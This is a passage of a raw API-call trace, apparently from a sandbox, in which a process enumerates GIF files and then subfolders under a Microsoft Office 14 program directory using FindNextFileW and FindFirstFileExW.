ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x905a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR30F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3b6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR31F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x9eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR32F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5a34, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR33F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa9f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR34F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4660, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR35F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd48450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x875e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR36F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR37F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xcbc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR38F.GIF", cAlternateFileName="")) returned 1 [0069.640] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xdc9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR39F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3a1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR3B.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x58e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR3F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x112a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR40F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x9a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR41F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xe591, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR42F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x98a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR43B.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd6e5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x997, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR43F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b06, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR44B.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a76, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR44F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR45B.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR45F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1304, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR46B.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x141c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR46F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x7517, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR47B.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x539e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR47F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x67f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR48B.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR48F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR49B.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b99, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR49F.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bd94710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR4B.GIF", cAlternateFileName="")) returned 1 [0069.641] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x8edb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR4F.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x10a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR50B.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x117f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR50F.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2395, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR51B.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1179, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR51F.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x592b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR5B.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xdb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR5F.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2ade, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR6B.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x41e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR6F.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5559, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR7B.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bdba870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5fdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR7F.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1038, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR8B.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2d54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR8F.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR9B.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x46ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR9F.GIF", cAlternateFileName="")) returned 1 [0069.642] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x46ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZPDIR9F.GIF", cAlternateFileName="")) returned 0 [0069.642] GetLastError () returned 0x12 [0069.642] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.643] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.643] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 